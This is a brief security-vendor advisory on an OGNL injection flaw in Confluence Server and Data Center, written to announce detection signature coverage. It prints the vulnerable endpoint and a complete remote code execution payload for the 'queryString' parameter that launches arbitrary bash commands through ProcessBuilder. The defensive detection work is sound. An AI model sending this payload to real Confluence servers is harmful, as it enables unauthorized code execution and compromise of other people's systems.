Application Description
Create, collaborate, and organize all your work in one place. Confluence is a team workspace where knowledge and collaboration meet. Dynamic pages give your team a place to create, capture, and collaborate on any project or idea.
Vulnerability
An OGNL injection vulnerability exists that would allow an authenticated user, and in some instances unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.
Identification
The proof of concept code identifies a POST request and the vulnerable parameter 'queryString'.
POST /pages/doenterpagevariables.action
PAYLOAD - queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var x=new java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to influence the vulnerable parameter with code execution.
Coverage
Idappcom has created signature 8021769 along with a traffic file.
